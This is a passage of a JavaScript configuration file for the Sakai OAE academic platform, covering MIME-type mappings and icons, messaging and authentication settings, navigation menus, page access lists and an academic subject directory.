\"__MSG__STUDENT__\",\n                \"definition\": \"__MSG__IS_MY_LECTURER__\",\n                \"selected\": false\n            }, {\n                \"name\": \"__MSG__STUDENT__\",\n                \"inverse\": \"__MSG__LECTURER__\",\n                \"definition\": \"__MSG__IS_MY_STUDENT__\",\n                \"selected\": false\n            }, {\n                \"name\": \"__MSG__COLLEAGUE__\",\n                \"definition\": \"__MSG__IS_MY_COLLEAGUE__\",\n                \"selected\": false\n            }, {\n                \"name\": \"__MSG__COLLEGE_MATE__\",\n                \"definition\": \"__MSG__IS_MY_COLLEGE_MATE__\",\n                \"selected\": false\n            }, {\n                \"name\": \"__MSG__SHARES_INTERESTS__\",\n                \"definition\": \"__MSG__SHARES_INTEREST_WITH_ME__\",\n                \"selected\": false\n            }]\n        },\n\n        SystemTour: {\n            \"enableReminders\": true,\n            \"reminderIntervalHours\": \"168\"\n        },\n\n        enableBranding: true,\n\n        // Set this to true if you have an authentication system such as CAS\n        // that needs to redirect the user's browser on logout\n        followLogoutRedirects: false,\n\n        // Set this to the hostname of your CLE instance if you're using CAS\n        // proxy tickets\n        hybridCasHost: false,\n\n        Messages: {\n            Types: {\n                inbox: \"inbox\",\n                sent: \"sent\",\n                trash: \"trash\"\n            },\n            Categories: {\n                message: \"Message\",\n                announcement: \"Announcement\",\n                chat: \"Chat\",\n                invitation: \"Invitation\"\n            },\n            Subject: \"subject\",\n            Type: \"type\",\n            Body: \"body\",\n            To: \"to\",\n            read: \"read\"\n        },\n        Extensions:{\n            \"docx\":\"application/doc\",\n            \"doc\":\"application/doc\",\n            \"odt\":\"application/doc\",\n            \"ods\":\"application/vnd.ms-excel\",\n            \"xls\":\"application/vnd.ms-excel\",\n            \"xlsx\":\"application/vnd.ms-excel\",\n            \"odp\":\"application/vnd.ms-powerpoint\",\n            \"ppt\":\"application/vnd.ms-powerpoint\",\n            \"pptx\":\"application/vnd.ms-powerpoint\",\n            \"odg\":\"image/jpeg\",\n            \"png\":\"image/png\",\n            \"jp2\":\"images/jp2\",\n            \"jpg\":\"image/jpeg\",\n            \"jpeg\":\"image/jpeg\",\n            \"bmp\":\"image/bmp\",\n            \"gif\":\"image/gif\",\n            \"tif\":\"image/tiff\",\n            \"tiff\":\"images/tiff\",\n            \"pdf\":\"application/x-pdf\",\n            \"swf\":\"application/x-shockwave-flash\",\n            \"flv\":\"video/x-msvideo\",\n            \"mpg\":\"video/x-msvideo\",\n            \"mpeg\":\"video/x-msvideo\",\n            \"mp4\":\"video/x-msvideo\",\n            \"avi\":\"video/x-msvideo\",\n            \"mov\":\"video/x-msvideo\",\n            \"txt\":\"text/rtf\",\n            \"rtf\":\"text/rtf\",\n            \"htm\":\"text/html\",\n            \"html\":\"text/html\",\n            \"wav\": \"audio/x-wav\",\n            \"mp3\": \"audio/mpeg\",\n            \"tar\": \"application/zip\",\n            \"zip\": \"application/zip\",\n            \"other\":\"other\"\n        },\n        MimeTypes: {\n            \"application/doc\": {\n                cssClass: \"icon-doc-sprite\",\n                URL: \"/dev/images/mimetypes/doc.png\",\n                description: \"WORD_DOCUMENT\"\n            },\n            \"application/msword\": {\n                cssClass: \"icon-doc-sprite\",\n                URL: \"/dev/images/mimetypes/doc.png\",\n                description: \"WORD_DOCUMENT\"\n            },\n            \"application/vnd.openxmlformats-officedocument.wordprocessingml.document\": {\n                cssClass: \"icon-doc-sprite\",\n                URL: \"/dev/images/mimetypes/doc.png\",\n                description: \"WORD_DOCUMENT\"\n            },\n            \"application/pdf\": {\n                cssClass: \"icon-pdf-sprite\",\n                URL: \"/dev/images/mimetypes/pdf.png\",\n                description: \"PDF_DOCUMENT\"\n            },\n            \"application/x-download\": {\n                cssClass: \"icon-pdf-sprite\",\n                URL: \"/dev/images/mimetypes/pdf.png\",\n                description: \"PDF_DOCUMENT\"\n            },\n            \"application/x-pdf\": {\n                cssClass: \"icon-pdf-sprite\",\n                URL: \"/dev/images/mimetypes/pdf.png\",\n                description: \"PDF_DOCUMENT\"\n            },\n            \"application/vnd.ms-powerpoint\": {\n                cssClass: \"icon-pps-sprite\",\n                URL: \"/dev/images/mimetypes/pps.png\",\n                description: \"POWERPOINT_DOCUMENT\"\n            },\n            \"application/vnd.openxmlformats-officedocument.presentationml.presentation\": {\n                cssClass: \"icon-pps-sprite\",\n                URL: \"/dev/images/mimetypes/pps.png\",\n                description: \"POWERPOINT_DOCUMENT\"\n            },\n            \"application/vnd.oasis.opendocument.text\": {\n                cssClass: \"icon-doc-sprite\",\n                URL: \"/dev/images/mimetypes/doc.png\",\n                description: \"OPEN_OFFICE_DOCUMENT\"\n            },\n            \"application/vnd.oasis.opendocument.presentation\": {\n                cssClass: \"icon-pps-sprite\",\n                URL: \"/dev/images/mimetypes/pps.png\",\n                description: \"OPEN_OFFICE_PRESENTATION\"\n            },\n            \"application/vnd.oasis.opendocument.spreadsheet\": {\n                cssClass: \"icon-pps-sprite\",\n                URL: \"/dev/images/mimetypes/spreadsheet.png\",\n                description: \"OPEN_OFFICE_SPREADSHEET\"\n            },\n\n            \"application/x-shockwave-flash\": {\n                cssClass: \"icon-swf-sprite\",\n                URL: \"/dev/images/mimetypes/swf.png\",\n                description: \"FLASH_PLAYER_FILE\"\n            },\n            \"application/zip\": {\n                cssClass: \"icon-zip-sprite\",\n                URL: \"/dev/images/mimetypes/zip.png\",\n                description: \"ARCHIVE_FILE\"\n            },\n            \"application/x-zip-compressed\": {\n                cssClass: \"icon-zip-sprite\",\n                URL: \"/dev/images/mimetypes/zip.png\",\n                description: \"ARCHIVE_FILE\"\n            },\n            \"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\": {\n                cssClass: \"icon-spreadsheet-sprite\",\n                URL: \"/dev/images/mimetypes/spreadsheet.png\",\n                description: \"SPREADSHEET_DOCUMENT\"\n            },\n            \"application/vnd.ms-excel\": {\n                cssClass: \"icon-spreadsheet-sprite\",\n                URL: \"/dev/images/mimetypes/spreadsheet.png\",\n                description: \"SPREADSHEET_DOCUMENT\"\n            },\n            \"audio/x-wav\": {\n                cssClass: \"icon-audio-sprite\",\n                URL: \"/dev/images/mimetypes/sound.png\",\n                description: \"SOUND_FILE\"\n            },\n            \"audio/mpeg\": {\n                cssClass: \"icon-audio-sprite\",\n                URL: \"/dev/images/mimetypes/sound.png\",\n                description: \"SOUND_FILE\"\n            },\n            \"text/plain\": {\n                cssClass: \"icon-txt-sprite\",\n                URL: \"/dev/images/mimetypes/txt.png\",\n                description: \"TEXT_DOCUMENT\"\n            },\n            \"text/rtf\": {\n                cssClass: \"icon-txt-sprite\",\n                URL: \"/dev/images/mimetypes/txt.png\",\n                description: \"TEXT_DOCUMENT\"\n            },\n            \"image/png\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"PNG_IMAGE\"\n            },\n            \"image/bmp\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"BMP_IMAGE\"\n            },\n            \"image/gif\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"GIF_IMAGE\"\n            },\n            \"image/jp2\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"JPG2000_IMAGE\"\n            },\n            \"image/jpeg\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"JPG_IMAGE\"\n            },\n            \"image/pjpeg\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"JPG_IMAGE\"\n            },\n            \"image/tiff\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"TIFF_IMAGE\"\n            },\n            \"text/html\": {\n                cssClass: \"icon-html-sprite\",\n                URL: \"/dev/images/mimetypes/html.png\",\n                description: \"HTML_DOCUMENT\"\n            },\n            \"video/x-msvideo\": {\n                cssClass: \"icon-video-sprite\",\n                URL: \"/dev/images/mimetypes/video.png\",\n                description: \"VIDEO_FILE\"\n            },\n            \"video/mp4\": {\n                cssClass: \"icon-video-sprite\",\n                URL: \"/dev/images/mimetypes/video.png\",\n                description: \"VIDEO_FILE\"\n            },\n            \"video/quicktime\": {\n                cssClass: \"icon-video-sprite\",\n                URL: \"/dev/images/mimetypes/video.png\",\n                description: \"VIDEO_FILE\"\n            },\n            \"video/x-ms-wmv\": {\n                cssClass: \"icon-video-sprite\",\n                URL: \"/dev/images/mimetypes/video.png\",\n                description: \"VIDEO_FILE\"\n            },\n            \"folder\": {\n                cssClass: \"icon-kmultiple-sprite\",\n                URL: \"/dev/images/mimetypes/kmultiple.png\",\n                description: \"FOLDER\"\n            },\n            \"x-sakai/link\": {\n                cssClass: \"icon-url-sprite\",\n                URL: \"/dev/images/mimetypes/html.png\",\n                description: \"URL_LINK\"\n            },\n            \"x-sakai/document\": {\n                cssClass: \"icon-sakaidoc-sprite\",\n                URL: \"/dev/images/mimetypes/sakaidoc.png\",\n                description: \"DOCUMENT\"\n            },\n            \"x-sakai/collection\": {\n                cssClass: \"icon-collection-sprite\",\n                URL: \"/dev/images/mimetypes/collection.png\",\n                description: \"COLLECTION\"\n            },\n            \"kaltura/video\": {\n                cssClass: \"icon-video-sprite\",\n                URL: \"/dev/images/mimetypes/video.png\",\n                description: \"VIDEO_FILE\"\n            },\n            \"kaltura/audio\": {\n                cssClass: \"icon-sound-sprite\",\n                URL: \"/dev/images/mimetypes/sound.png\",\n                description: \"SOUND_FILE\"\n            },\n            \"other\": {\n                cssClass: \"icon-unknown-sprite\",\n                URL: \"/dev/images/mimetypes/unknown.png\",\n                description: \"OTHER_DOCUMENT\"\n            }\n        },\n\n        Authentication: {\n            \"allowInternalAccountCreation\": true,\n            \"internal\": true,\n            \"external\": [{\n                label: \"External Login System 1\",\n                url: \"http://external.login1.com/\"\n            }, {\n                label: \"External Login System 2\",\n                url: \"http://external.login2.com/\"\n            }],\n            \"hideLoginOn\": [\"/dev\", \"/dev/index.html\", \"/dev/create_new_account.html\"]\n        },\n\n        notification: {\n            type: {\n                ERROR: {\n                    image: \"/dev/images/notifications_exclamation_icon.png\",\n                    time: 10000\n                },\n                INFORMATION: {\n                    image: \"/dev/images/notifications_info_icon.png\",\n                    time: 5000\n                }\n            }\n        },\n\n        Navigation: [{\n            \"url\": \"/me#l=dashboard\",\n            \"id\": \"navigation_you_link\",\n            \"anonymous\": false,\n            \"label\": \"YOU\",\n            \"append\": \"messages\",\n            \"subnav\": [{\n                \"url\": \"/me#l=dashboard\",\n                \"id\": \"subnavigation_home_link\",\n                \"label\": \"MY_HOME\"\n            }, {\n                \"url\": \"/me#l=messages/inbox\",\n                \"id\": \"subnavigation_messages_link\",\n                \"label\": \"MY_MESSAGES\"\n            }, {\n                \"id\": \"subnavigation_hr\"\n            }, {\n                \"url\": \"/me#l=profile/basic\",\n                \"id\": \"subnavigation_profile_link\",\n                \"label\": \"MY_PROFILE\"\n            }, {\n                \"url\": \"/me#l=library\",\n                \"id\": \"subnavigation_content_link\",\n                \"label\": \"MY_LIBRARY\"\n            }, {\n                \"url\": \"/me#l=memberships\",\n                \"id\": \"subnavigation_memberships_link\",\n                \"label\": \"MY_MEMBERSHIPS\"\n            }, {\n                \"url\": \"/me#l=contacts\",\n                \"id\": \"subnavigation_contacts_link\",\n                \"label\": \"MY_CONTACTS_CAP\"\n            }]\n        }, {\n            \"url\": \"#\",\n            \"id\": \"navigation_create_and_add_link\",\n            \"anonymous\": false,\n            \"label\": \"CREATE_AND_COLLECT\",\n            \"append\": \"collections\",\n            \"subnav\": [{\n                \"id\": \"subnavigation_add_content_link\",\n                \"label\": \"ADD_CONTENT\",\n                \"url\": \"#\"\n            }, {\n                \"id\": \"subnavigation_add_collection_link\",\n                \"label\": \"ADD_COLLECTION\",\n                \"url\": \"#\"\n            }, {\n                \"id\": \"subnavigation_hr\"\n            }]\n        }, {\n            \"url\": \"/index\",\n            \"id\": \"navigation_explore_link\",\n            \"anonymous\": false,\n            \"label\": \"EXPLORE\",\n            \"subnav\": [{\n                \"id\": \"subnavigation_explore_categories_link\",\n                \"label\": \"BROWSE_ALL_CATEGORIES\",\n                \"url\": \"/categories\"\n            },{\n                \"id\": \"subnavigation_hr\"\n            },{\n                \"id\": \"subnavigation_explore_content_link\",\n                \"label\": \"CONTENT\",\n                \"url\": \"/search#l=content\"\n            }, {\n                \"id\": \"subnavigation_explore_people_link\",\n                \"label\": \"PEOPLE\",\n                \"url\": \"/search#l=people\"\n            }]\n        }, {\n            \"url\": \"/index\",\n            \"id\": \"navigation_anon_explore_link\",\n            \"anonymous\": true,\n            \"label\": \"EXPLORE\",\n            \"subnav\": [{\n                \"id\": \"subnavigation_explore_categories_link\",\n                \"label\": \"BROWSE_ALL_CATEGORIES\",\n                \"url\": \"/categories\"\n            },{\n                \"id\": \"subnavigation_hr\"\n            },{\n                \"id\": \"subnavigation_explore_content_link\",\n                \"label\": \"CONTENT\",\n                \"url\": \"/search#l=content\"\n            }, {\n                \"id\": \"subnavigation_explore_people_link\",\n                \"label\": \"PEOPLE\",\n                \"url\": \"/search#l=people\"\n            }]\n        }, {\n            \"url\": \"/register\",\n            \"id\": \"navigation_anon_signup_link\",\n            \"anonymous\": true,\n            \"label\": \"SIGN_UP\"\n        }],\n\n        Footer: {\n            leftLinks: [{\n                \"title\": \"__MSG__COPYRIGHT__\",\n                \"href\": \"http://sakaiproject.org/foundation-licenses\",\n                \"newWindow\": true\n            }, {\n                \"title\": \"__MSG__HELP__\",\n                \"href\": \"http://sakaiproject.org/node/2307\",\n                \"newWindow\": true\n            }, {\n                \"title\": \"__MSG__ACKNOWLEDGEMENTS__\",\n                \"href\": \"/acknowledgements\"\n            }, {\n                \"title\": \"__MSG__SUGGEST_AN_IMPROVEMENT__\",\n                \"href\": \"http://sakaioae.idea.informer.com/\",\n                \"newWindow\": true\n            }],\n            rightLinks: [{\n                \"title\": \"__MSG__BROWSE__\",\n                \"href\": \"/categories\"\n            }, {\n                \"title\": \"__MSG__EXPLORE__\",\n                \"href\": \"/\"\n            }]\n        },\n\n        /*\n         * Are anonymous users allowed to browse/search\n         */\n        anonAllowed: true,\n        /*\n         * List of pages that require a logged in user\n         */\n        requireUser: [\"/me\", \"/dev/me.html\", \"/dev/search_sakai2.html\", \"/create\", \"/dev/createnew.html\"],\n\n        /*\n         * List of pages that require an anonymous user\n         */\n        requireAnonymous: [\"/register\", \"/dev/create_new_account.html\"],\n        /*\n         * List of pages that will be added to requireUser if\n         * anonAllowed is false\n         */\n        requireUserAnonNotAllowed: [\"/me\", \"/dev/me.html\", \"/dev/search_sakai2.html\"],\n        /*\n         * List of pages that will be added to requireAnonymous if\n         * anonAllowed is false\n         */\n        requireAnonymousAnonNotAllowed: [],\n        /*\n         * List op pages that require additional processing to determine\n         * whether the page can be shown to the current user. These pages\n         * are then required to call the sakai.api.Security.showPage\n         * themselves\n         */\n        requireProcessing: [\"/dev/user.html\", \"/me\" ,\"/dev/me.html\", \"/dev/content_profile.html\", \"/dev/content_profile.html\", \"/dev/group_edit.html\", \"/dev/show.html\", \"/content\"],\n\n        useLiveSakai2Feeds: false,\n        /*\n         * List of custom CLE Tool names. This can be used to override the translated\n         * tool name in the Sakai 2 Tools Widget drop down, or name a custom CLE tool\n         * that has been added to your CLE installation. You can see the list of\n         * enabled CLE tools at /var/basiclti/cletools.json, and configure them in\n         * Nakamura under the org.sakaiproject.nakamura.basiclti.CLEVirtualToolDataProvider\n         * configuration.\n         */\n        sakai2ToolNames: {\n            /* \"sakai.mytoolId\" : \"My Custom Tool Title\" */\n        },\n\n        displayDebugInfo: true,\n\n        /**\n         * Section dividers can be added to the directory structure by adding in the following\n         * element at the appropriate place:\n         *  divider1: {\n         *      \"divider\": true,\n         *      \"title\": \"Divider title\" [optional],\n         *      \"cssClass\": \"CSS class to add to items inside of elements beneath the divider [optional]\n         *  }\n         */\n        Directory: {\n            medicineanddentistry: {\n                title: \"__MSG__MEDICINE_AND_DENTISTRY__\",\n                children: {\n                    preclinicalmedicine: {\n                        title: \"__MSG__PRECLINICAL_MEDICINE__\"\n                    },\n                    preclinicaldentistry: {\n                        title: \"__MSG__PRECLINICAL_DENTISTRY__\"\n                    },\n                    clinicalmedicine: {\n                        title: \"__MSG__CLININCAL_MEDICINE__\"\n                    },\n                    clinicaldentistry: {\n                        title: \"__MSG__CLININCAL_DENTISTRY__\"\n                    },\n                    othersinmedicineanddentistry: {\n                        title: \"__MSG__MEDICINE_AND_DENTISTRY_OTHERS__\"\n                    }\n                }\n            },\n            biologicalsciences: {\n                title: \"__MSG__BIOLOGICAL_SCIENCES__\",\n                children: {\n                    biology: {\n                        title: \"__MSG__BIOLOGY__\"\n                    },\n                    botany: {\n                        title: \"__MSG__BOTANY__\"\n                    },\n                    zoology: {\n                        title: \"__MSG__ZOOLOGY__\"\n                    },\n                    genetics: {\n                        title: \"__MSG__GENETICS__\"\n                    },\n                    microbiology: {\n                        title: \"__MSG__MICROBIOLOGY__\"\n                    },\n                    sportsscience: {\n                        title: \"__MSG__SPORTS_SCIENCE__\"\n                    },\n                    molecularbiologybiophysicsandbiochemistry: {\n                        title: \"__MSG__MOLECULAR_BIOLOGY__\"\n                    },\n                    psychology: {\n                        title: \"__MSG__PSYCHOLOGY__\"\n                    },\n                    othersinbiologicalsciences: {\n                        title: \"__MSG__BIOLOGICAL_SCIENCES_OTHER__\"\n                    }\n                }\n            },\n            veterinarysciencesagriculture: {\n                title: \"__MSG__VETERINARY_SCIENCES__\",\n                children: {\n                    preclinicalveterinarymedicine: {\n                        title: \"__MSG__PRE_CLINICAL_VETERINARY__\"\n                    },\n                    clinicalveterinarymedicineanddentistry: {\n                        title: \"__MSG__CLINICAL_VETERINARY__\"\n                    },\n                    animalscience: {\n                        title: \"__MSG__ANIMAL_SCIENCE__\"\n                    },\n                    agriculture: {\n                        title: \"__MSG__AGRICULTURE__\"\n                    },\n                    forestry: {\n                        title: \"__MSG__FORESTRY__\"\n                    },\n                    foodandbeveragestudies: {\n                        title: \"__MSG__FOOD_BEVERAGE__\"\n                    },\n                    agriculturalsciences: {\n                        title: \"__MSG__AGRICULTURAL_SCIENCE__\"\n                    },\n                    othersinveterinarysciencesandagriculture: {\n                        title: \"__MSG__VETERINARY_SCIENCES_OTHER__\"\n                    }\n                }\n            },\n            physicalsciences: {\n                title: \"__MSG__PHYSICAL_SCIENCE__\",\n                children: {\n                    chemistry: {\n                        title: \"__MSG__CHEMISTRY__\"\n                    },\n                    materialsscience: {\n                        title: \"__MSG__MATERIALS_SCIENCE__\"\n                    },\n                    physics: {\n                        title: \"__MSG__PHYSICS__\"\n                    },\n                    forensicandarchaeologicalscience: {\n                        title: \"__MSG__FORENSIC_ARCHEALOGICAL__\"\n                    },\n                    astronomy: {\n                        title: \"__MSG__ASTRONOMY__\"\n                    },\n                    geology: {\n                        title: \"__MSG__GEOLOGY__\"\n                    },\n                    oceansciences: {\n                        title: \"__MSG__OCEAN_SCIENCE__\"\n                    },\n                    othersinphysicalsciences: {\n                        title: \"__MSG__PHYSICAL_SCIENCE_OTHER__\"\n                    }\n                }\n            },\n            mathematicalandcomputersciences: {\n                title: \"__MSG__MATHEMATICAL_COMPUTER_SCIENCES__\",\n                children: {\n                    mathematics: {\n                        title: \"__MSG__MATHEMATICS__\"\n                    },\n                    operationalresearch: {\n                        title: \"__MSG__OPERATIONAL_RESEARCH__\"\n                    },\n                    statistics: {\n                        title: \"__MSG__STATISTICS__\"\n                    },\n                    computerscience: {\n                        title: \"__MSG__COMPUTER_SCIENCE__\"\n                    },\n                    informationsystems: {\n                        title: \"__MSG__INFORMATION_SYSTEMS__\"\n                    },\n                    softwareengineering: {\n                        title: \"__MSG__SOFTWARE_ENGINEERING__\"\n                    },\n                    artificialintelligence: {\n                        title: \"__MSG__ARTIFICIAL_INTELLIGENCE__\"\n                    },\n                    othersinmathematicalandcomputingsciences: {\n                        title: \"__MSG__MATHEMATICAL_COMPUTER_SCIENCES_OTHER__\"\n                    }\n                }\n            },\n            engineering: {\n                title: \"__MSG__ENGINEERING__\",\n                children: {\n                    generalengineering: {\n                        title: \"__MSG__GENERAL_ENGINEERING__\"\n                    },\n                    civilengineering: {\n                        title: \"__MSG__CIVIL_ENGINEERING__\"\n                    },\n                    mechanicalengineering: {\n                        title: \"__MSG__MECHANICAL_ENGINEERING__\"\n                    },\n                    aerospaceengineering: {\n                        title: \"__MSG__AEROSPACE_ENGINEERING__\"\n                    },\n                    navalarchitecture: {\n                        title: \"__MSG__NAVAL_ARCHITECTURE__\"\n                    },\n                    electronicandelectricalengineering: {\n                        title: \"__MSG__ELECTRONIC_ELECTRICAL_ENGINEERING__\"\n                    },\n                    productionandmanufacturingengineering: {\n                        title: \"__MSG__PRODUCTION_MANUFACTURING_ENGINEERING__\"\n                    },\n                    chemicalprocessandenergyengineering: {\n                        title: \"__MSG__CHEMICAL_PROCESS_ENERGY_ENGINEERING__\"\n                    },\n                    othersinengineering: {\n                        title: \"__MSG__ENGINEERING_OTHER__\"\n                    }\n                }\n            },\n            technologies: {\n                title: \"__MSG__TECHNOLOGIES__\",\n                children: {\n                    mineralstechnology: {\n                        title: \"__MSG__MINERALS_TECHNOLOGY__\"\n                    },\n                    metallurgy: {\n                        title: \"__MSG__METALLURGY__\"\n                    },\n                    ceramicsandglasses: {\n                        title: \"__MSG__CERAMICS_GLASSES__\"\n                    },\n                    polymersandtextiles: {\n                        title: \"__MSG__POLYMERS_TEXTILES__\"\n                    },\n                    materialstechnologynototherwisespecified: {\n                        title: \"__MSG__MATERIALS_TECHNOLOGY_OTHER__\"\n                    },\n                    maritimetechnology: {\n                        title: \"__MSG__MARITIME_TECHNOLOGY__\"\n                    },\n                    industrialbiotechnology: {\n                        title: \"__MSG__INDUSTRIAL_BIOTECHNOLOGY__\"\n                    },\n                    othersintechnology: {\n                        title: \"__MSG__TECHNOLOGIES_OTHER__\"\n                    }\n                }\n            },\n            architecturebuildingandplanning: {\n                title: \"__MSG__ARCHITECTURE_BUILDING_PLANNING__\",\n                children: {\n                    architecture: {\n                        title: \"__MSG__ARCHITECTURE__\"\n                    },\n                    building: {\n                        title: \"__MSG__BUILDING__\"\n                    },\n                    landscapedesign: {\n                        title: \"__MSG__LANDSCAPE_DESIGN__\"\n                    },\n                    planning: {\n                        title: \"__MSG__PLANNING__\"\n                    },\n                    othersinarchitecturebuildingandplanning: {\n                        title: \"__MSG__ARCHITECTURE_BUILDING_PLANNING_OTHER__\"\n                    }\n                }\n            },\n            socialstudies: {\n                title: \"__MSG__SOCIAL_STUDIES__\",\n                children: {\n                    economics: {\n                        title: \"__MSG__ECONOMICS__\"\n                    },\n                    politics: {\n                        title: \"__MSG__POLITICS__\"\n                    },\n                    sociology: {\n                        title: \"__MSG__SOCIOLOGY__\"\n                    },\n                    socialpolicy: {\n                        title: \"__MSG__SOCIAL_POLICY__\"\n                    },\n                    socialwork: {\n                        title: \"__MSG__SOCIAL_WORK__\"\n                    },\n                    anthropology: {\n                        title: \"__MSG__ANTHROPOLOGY__\"\n                    },\n                    humanandsocialgeography: {\n                        title: \"__MSG__HUMAN_SOCIAL_GEOGRAPHY__\"\n                    },\n                    othersinsocialstudies: {\n                        title: \"__MSG__SOCIAL_STUDIES_OTHER__\"\n                    }\n                }\n            },\n            law: {\n                title: \"__MSG__LAW__\",\n                children: {\n                    publiclaw: {\n                        title: \"__MSG__LAW_PUBLIC__\"\n                    },\n                    privatelaw: {\n                        title: \"__MSG__LAW_PRIVATE__\"\n                    },\n                    jurisprudence: {\n                        title: \"__MSG__JURISPRUDENCE__\"\n                    },\n                    legalpractice: {\n                        title: \"__MSG__LEGAL_PRACTICE__\"\n                    },\n                    medicallaw: {\n                        title: \"__MSG__LAW_MEDICAL__\"\n                    },\n                    othersinlaw: {\n                        title: \"__MSG__LAW_OTHER__\"\n                    }\n                }\n            },\n            businessandadministrativestudies: {\n                title: \"__MSG__BUSINESS_ADMINISTRATIVE_STUDIES__\",\n                children: {\n                    businessstudies: {\n                        title: \"__MSG__BUSINESS_STUDIES__\"\n                    },\n                    managementstudies: {\n                        title: \"__MSG__MANAGEMENTS_STUDIES__\"\n                    },\n                    finance: {\n                        title: \"__MSG__FINANCE__\"\n                    },\n                    accounting: {\n                        title: \"__MSG__ACCOUNTING__\"\n                    },\n                    marketing: {\n                        title: \"__MSG__MARKETING__\"\n                    },\n                    humanresourcemanagement: {\n                        title: \"__MSG__HUMAN_RESOURCE_MANAGEMENT__\"\n                    },\n                    officeskills: {\n                        title: \"__MSG__OFFICE_SKILLS__\"\n                    },\n                    tourismtransportandtravel: {\n                        title: \"__MSG__TOURISM__\"\n                    },\n                    othersinbusandadminstudies: {\n                        title: \"__MSG__BUSINESS_ADMINISTRATIVE_STUDIES_OTHER__\"\n                    }\n                }\n            },\n            masscommunicationsanddocumentation: {\n                title: \"__MSG__MASS_COMMUNICATIONS_DOCUMENTATION__\",\n                children: {\n                    informationservices: {\n                        title: \"__MSG__INFORMATION_SERVICES__\"\n                    },\n                    publicitystudies: {\n                        title: \"__MSG__PUBLICITY_STUDIES__\"\n                    },\n                    mediastudies: {\n                        title: \"__MSG__MEDIA_STUDIES__\"\n                    },\n                    publishing: {\n                        title: \"__MSG__PUBLISHING__\"\n                    },\n                    journalism: {\n                        title: \"__MSG__JOURNALISM__\"\n                    },\n                    othersinmasscommanddoc: {\n                        title: \"__MSG__MASS_COMMUNICATIONS_DOCUMENTATION_OTHER__\"\n                    }\n                }\n            },\n            linguisticsclassicsandrelatedsubjects: {\n                title: \"__MSG__LINGUISTICS_CLASSICS__\",\n                children: {\n                    linguistics: {\n                        title: \"__MSG__LINGUISTICS__\"\n                    },\n                    comparativeliterarystudies: {\n                        title: \"__MSG__LINGUISTICS_LITERARY__\"\n                    },\n                    englishstudies: {\n                        title: \"__MSG__LINGUISTICS_ENGLISH__\"\n                    },\n                    ancientlanguagestudies: {\n                        title: \"__MSG__LINGUISTICS_ANCIENT__\"\n                    },\n                    celticstudies: {\n                        title: \"__MSG__LINGUISTICS_CELTIC__\"\n                    },\n                    latinstudies: {\n                        title: \"__MSG__LINGUISTICS_LATIN__\"\n                    },\n                    classicalgreekstudies: {\n                        title: \"__MSG__LINGUISTICS_CLASSICAL_GREEK__\"\n                    },\n                    classicalstudies: {\n                        title: \"__MSG__LINGUISTICS_CLASSICAL__\"\n                    },\n                    othersinlinguisticsclassicsandrelsubject: {\n                        title: \"__MSG__LINGUISTICS_CLASSICS_OTHER__\"\n                    }\n                }\n            },\n            europeanlanguagesliteratureandrelatedsubjects: {\n                title: \"__MSG__EUROPEAN_LANGUAGES__\",\n                children: {\n                    frenchstudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_FRENCH__\"\n                    },\n                    germanstudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_GERMAN__\"\n                    },\n                    italianstudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_ITALIAN__\"\n                    },\n                    spanishstudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_SPANISH__\"\n                    },\n                    portuguesestudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_PORTUGUESE__\"\n                    },\n                    scandinavianstudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_SCANDINAVIAN__\"\n                    },\n                    russianandeasteuropeanstudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_RUSSIAN__\"\n                    },\n                    othersineurolangliteratureandrelsubjects: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_OTHER__\"\n                    }\n                }\n            },\n            easiaticlanguagesliterature: {\n                title: \"__MSG__EXOTIC_LANGUAGES__\",\n                children: {\n                    chinesestudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_CHINESE__\"\n                    },\n                    japanesestudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_JAPANESE__\"\n                    },\n                    southasianstudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_SOUTH_ASIAN__\"\n                    },\n                    otherasianstudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_ASIAN_OTHER__\"\n                    },\n                    africanstudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_AFRICAN__\"\n                    },\n                    modernmiddleeasternstudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_MIDDLE_EAST__\"\n                    },\n                    americanstudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_AMERICAN__\"\n                    },\n                    australasianstudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_AUSTRALIAN__\"\n                    },\n                    othersineasternasiaafriamericaaustralianlang: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_OTHER__\"\n                    }\n                }\n            },\n            historicalandphilosophicalstudies: {\n                title: \"__MSG__HISTORICAL_PHILOSOPHICAL_STUDIES__\",\n                children: {\n                    historybyperiod: {\n                        title: \"__MSG__HISTORY_PERIOD__\"\n                    },\n                    historybyarea: {\n                        title: \"__MSG__HISTORY_AREA__\"\n                    },\n                    historybytopic: {\n                        title: \"__MSG__HISTORY_TOPIC__\"\n                    },\n                    archaeology: {\n                        title: \"__MSG__ARCHEOLOGY__\"\n                    },\n                    philosophy: {\n                        title: \"__MSG__PHILOSOPHY__\"\n                    },\n                    theologyandreligiousstudies: {\n                        title: \"__MSG__THEOLOGY_STUDIES__\"\n                    },\n                    othersinhistoricalandphilosophicalstudies: {\n                        title: \"__MSG__HISTORICAL_PHILOSOPHICAL_STUDIES_OTHER__\"\n                    }\n                }\n            },\n            creativeartsanddesign: {\n                title: \"__MSG__CREATIVE_ARTS__\",\n                children: {\n                  